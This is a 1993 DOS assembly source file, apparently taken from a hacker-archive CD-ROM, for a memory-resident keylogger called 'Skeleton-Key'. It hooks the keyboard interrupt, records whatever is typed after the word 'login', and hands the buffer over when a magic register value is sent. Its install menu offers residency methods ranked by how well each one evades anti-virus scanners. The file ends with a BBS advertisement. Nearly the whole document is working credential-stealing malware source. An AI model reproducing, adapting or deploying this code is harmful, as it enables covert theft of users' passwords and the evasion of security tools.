home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / skel_key.arj / KEY.ASM < prev    next >
Encoding:
Assembly Source File  |  1993-12-27  |  9.1 KB  |  322 lines

  1. ;Skeleton-Key monitoring program source code.
  2.  
  3. .model tiny
  4. .radix 16
  5. .code
  6.         org 100
  7. start:
  8.         jmp     Go_Memory_Resident
  9.  
  10. Int09:
  11.         cmp     ax,bx
  12.         jne     Not_DumpReq
  13.         cmp     ax,cx
  14.         jne     Not_DumpReq
  15.         cmp     ax,dx
  16.         jne     Not_DumpReq
  17.         cmp     ax,si
  18.         jne     Not_DumpReq
  19.         cmp     ax,di
  20.         jne     Not_DumpReq
  21.         cmp     ax,0f00dh
  22.         jne     Not_DumpReq
  23.         mov     cx,4
  24.         ror     ax,cl
  25.         jmp     DumpReq
  26.  
  27. Not_DumpReq:
  28.         pushf
  29.         call    dword ptr cs:[Int09_IP]
  30.  
  31.         push    ax bx cx dx si di es ds
  32.         
  33.         push    cs cs
  34.         pop     es ds
  35.         xor     bx,bx
  36.         
  37.         mov     ah,1
  38.         int     16
  39.         jz      No_Char
  40.         
  41.         or      al,al
  42.         jz      No_Char
  43.  
  44.         cmp     byte ptr [Reading_Login],4
  45.         ja      savechar
  46.         
  47.         cmp     byte ptr [Reading_Login],4
  48.         jne     Are_They_Typing_Login
  49.         
  50. Clear_Them:
  51.         push    ax cx di
  52.         xor     ax,ax
  53.         mov     di,offset KeyHitBuffer+5
  54.         mov     cx,100
  55.         repnz   stosb
  56.         pop     di cx ax
  57.  
  58.  
  59. Are_They_Typing_Login:        
  60.         or      al,20                   ;Convert to lowercase
  61.         mov     bl,byte ptr [Reading_Login]
  62.         add     bx,offset Login_Title
  63.         cmp     al,[bx]
  64.         jne     NoMatch
  65.         jmp     SaveChar
  66.  
  67. No_Char:
  68.         pop     ds es di si dx cx bx ax
  69.         iret
  70. NoMatch:        
  71.         mov     byte ptr [Reading_Login],0
  72.         jmp     short No_Char
  73.  
  74. Int09_IP        dw      0
  75. Int09_CS        dw      0
  76.  
  77. SaveChar:
  78.         mov     bl, byte ptr [Reading_Login]
  79.         add     bx,offset KeyHitBuffer
  80.         mov     byte ptr [bx],al
  81.         inc     byte ptr [Reading_Login]
  82.         
  83.         cmp     byte ptr [Reading_Login],0fe
  84.         jae     ResetBuffer
  85.         jmp     No_Char
  86.  
  87. ResetBuffer:
  88.         mov     byte ptr [Reading_Login],0
  89.         jmp     No_Char
  90.  
  91. DumpReq:
  92.         push    cs cs
  93.         pop     es ds
  94.         mov     si,offset KeyHitBuffer
  95.         mov     dx,offset Login_Title
  96.         iret
  97.  
  98.  
  99. Reading_Login   db      0
  100.  
  101. Login_Title     db      'login'
  102. FileTitle       db      '.txt',0
  103.  
  104. KeyHitBuffer    db      110 dup(0)
  105. end_prog:
  106. ;------------------------------------------------------------------------
  107.  
  108. ;------------------------------------------------------------------------
  109. Terminate:
  110.         mov     ax,4c00
  111.         int     21
  112.  
  113. Go_Memory_Resident:
  114.         call    checkres
  115.         
  116.         mov     ah,09
  117.         mov     dx, offset methods
  118.         int     21
  119.  
  120. GetMeth:        
  121.         xor     ax,ax
  122.         int     16
  123.         cmp     al,'1'
  124.         jb      GetMeth
  125.         cmp     al,'4'
  126.         ja      GetMeth
  127.  
  128. Selection:
  129.         cmp     al,'1'
  130.         je      Int27Method
  131.         cmp     al,'2'
  132.         je      Direct
  133.         cmp     al,'3'
  134.         je      Bios
  135.         cmp     al,'4'
  136.         je      Terminate
  137.         jmp     GetMeth
  138.         
  139. Int27Method:        
  140.         mov     ax,3509
  141.         int     21
  142.  
  143.         mov     word ptr [Int09_IP],bx
  144.         mov     word ptr [Int09_CS],es
  145.  
  146.         mov     dx,offset Int09
  147.         mov     ah,25
  148.         int     21
  149.  
  150.         push    cs 
  151.         pop     es
  152.         mov     dx,offset end_prog+1
  153.         int     27
  154.  
  155. Direct:
  156.   Get_Maximum_Memory:
  157.       mov     ax,ds
  158.       dec     ax
  159.       mov     ds,ax
  160.       mov     bx,word ptr ds:[03]
  161. Subtract_Needed_Memory:
  162.       sub     bx,(end_prog-start+0fh)/10h
  163. Shrink_Block:
  164.       mov     word ptr ds:[03h],bx
  165.       mov     byte ptr ds:[0],'Z'
  166.                                  
  167. Lower_Top_Of_Memory:             
  168.         sub     word ptr ds:[12h],(end_prog-start+0fh)/10h
  169.  
  170. Point_ES_to_New_MCB:                            ;Get New top of mem 
  171.         mov     ax,word ptr ds:[12]             ;from PSP.
  172.         mov     es,ax                           ;ES = new segment.
  173.  
  174. Set_As_Last_Block:        
  175.         mov     byte ptr es:[0],'Z'           ;Mark as last 
  176.                                               ;in chain (not really needed)
  177. Set_Owner:                        
  178.         inc     ax
  179.         mov     word ptr es:[1],ax              ;Set owner as itself
  180.         
  181.         call    GetInt09
  182.         
  183.         sub     ax,10
  184.         mov     es,ax
  185.         mov     di,100
  186.         
  187. SetProg:
  188.         push    cs
  189.         pop     ds
  190.         mov     si,100
  191.         mov     cx,(end_prog-start)
  192.         repnz   movsb
  193.         call    SetInt09
  194.         jmp     Terminate
  195. Bios:
  196.         call    GetInt09
  197.   Get_And_Lower_Top_Of_Memory:
  198.         mov     ax,word ptr ds:[02]   ;Get Top of Memory (PSP)
  199.         sub     ax,40h                ;Lower it by 1K (40h*10h)
  200.         mov     word ptr ds:[02],ax   ;And Replace Value.
  201.  
  202. Get_MCB_Segment:        
  203.         mov     ax,ds                 ;AX = CS = DS
  204.         dec     ax                    ;Get Segment of MCB
  205.         mov     ds,ax                 ;And put into DS
  206.  
  207. Shrink_Block2:
  208.         sub     word ptr ds:[03],40h  ;Subtract 1K from host's MCB
  209.                                       ;allocation (paragraphs)
  210. Allocate_From_Bios:        
  211.         xor     ax,ax
  212.         mov     ds,ax                 ;DS = 0
  213.         dec     word ptr ds:[413h]    ;Allocate 1K from Bios
  214.  
  215.  
  216.         mov     ax,word ptr ds:[413h] ;Get memory in 1K
  217.         mov     cl,6
  218.         shl     ax,cl                 ;change to segment (multiply
  219.                                       ;by 64 or 40h)
  220.  
  221.                                       ;AX now equals free segment
  222.                                       ;of memory
  223.  
  224.         sub     ax,10
  225.         mov     es,ax                 ;Set ES = Free Segment
  226.         mov     di,100
  227.         jmp     SetProg
  228.  
  229.  
  230. GetInt09:
  231.         push    ax ds
  232.         xor     ax,ax
  233.         mov     ds,ax
  234.         mov     ax,word ptr ds:[9*4]
  235.         mov     cs:[Int09_IP],ax
  236.         mov     ax,word ptr ds:[9*4+2]
  237.         mov     cs:[Int09_CS],ax
  238.         pop     ds ax
  239.         ret
  240.  
  241. SetInt09:
  242.         push    ds ax
  243.         xor     ax,ax
  244.         mov     ds,ax
  245.         cli
  246.         mov     dx,offset Int09
  247.         mov     word ptr ds:[9*4],dx
  248.         
  249.         mov     dx,es
  250.         mov     word ptr ds:[9*4+2],dx
  251.         sti
  252.         pop     ax ds
  253.         ret
  254.  
  255.  
  256. Checkres:
  257.         push    ax bx cx dx es ds di si
  258.         mov     ax,0f00dh         
  259.         mov     bx,ax
  260.         mov     cx,ax
  261.         mov     dx,ax
  262.         mov     si,ax
  263.         mov     di,ax
  264.         int     09
  265.         mov     cl,04
  266.         rol     ax,cl
  267.         cmp     ax,0f00dh
  268.         je      badtry
  269.         pop     si di ds es dx cx bx ax
  270.         ret
  271.  
  272. badtry:
  273.         push    cs cs
  274.         pop     es ds
  275.         mov     ah,09
  276.         mov     dx,offset wanna
  277.         int     21
  278.         mov     ax,4c00
  279.         int     21
  280.  
  281. wanna   db      'Skeleton-Key already installed - use Readkey for recovery.',0a,0dh,24
  282.  
  283. Methods:
  284.         db 0dh,0a,0dh,0a,0dh,0a,'Skeleton-Key Installation Menu (c) 1993 (N)asty (S)cheming (A)uthoritarians',0dh,0a,0dh,0a,0dh,0a
  285.         db      'Please Select Memory Residency Method:',0dh,0a,0dh,0a
  286.         db      '1.) Int 27h - Normal TSR command, shows up in MEM as user program.',0dh,0a
  287.         db      '              Will not alert any AV programs, but is obvious.',0dh,0a,0dh,0a
  288.         db      '2.) Direct MCB''s - Uses standard viral methods of allocating memory,',0dh,0a
  289.         db      '              Might be picked up by some AV scanners, but will not show',0dh,0a
  290.         db      '              up as easily in memory maps.',0dh,0a,0dh,0a
  291.         db      '3.) BIOS allocate - Does not show up in memory map, but lowers user RAM',0dh,0a
  292.         db      '              by 1K in regular memory.  May set off some virus detectors.',0dh,0a,0dh,0a
  293.         db      '4.) Forget installing - TERMINATE!',0a,0dh
  294.     db   0a,0dh,'(Enter Number) -> $'
  295. end start
  296.  
  297.  
  298.  
  299. ;--- NOT PART OF SOURCE CODE --- BLATENT, POINTLESS BBS AD FOLLOWS ---
  300. ;________________________________________________________________________
  301. ;
  302. ;This file was downloaded from the ....
  303. ;
  304. ;        ┌─────────────────────────────────────────────────┐
  305. ;        │██▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀██│
  306. ;        │█   A D J A C E N T   R E A L I T Y   B B S     █│
  307. ;        │█  ─────────────────────────────────────────    █│
  308. ;        │█   Forum for non-censored discussion and file  █│
  309. ;        │█   exchange for the expierenced computer user. █│
  310. ;        │█                                               █│
  311. ;   ┌──────────────────────────────────────────────────────────┐
  312. ;   │ ■ Cracks & Unprotects             ■ Animations           │
  313. ;   │ ■ Encryption                      ■ Home of SFDNC,SU,    │
  314. ;   │ ■ Virus/Anti-Virus                  SFNEW and much more. │
  315. ;   │ ■ Virtual Reality                 ■ ACTIVE message bases │
  316. ;   └──────────────────────────────────────────────────────────┘
  317. ;        │█         Call now at (615) 586-9515            █│
  318. ;        │█                                               █│
  319. ;        │██▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄██│
  320. ;        └─────────────────────────────────────────────────┘
  321.  
  322.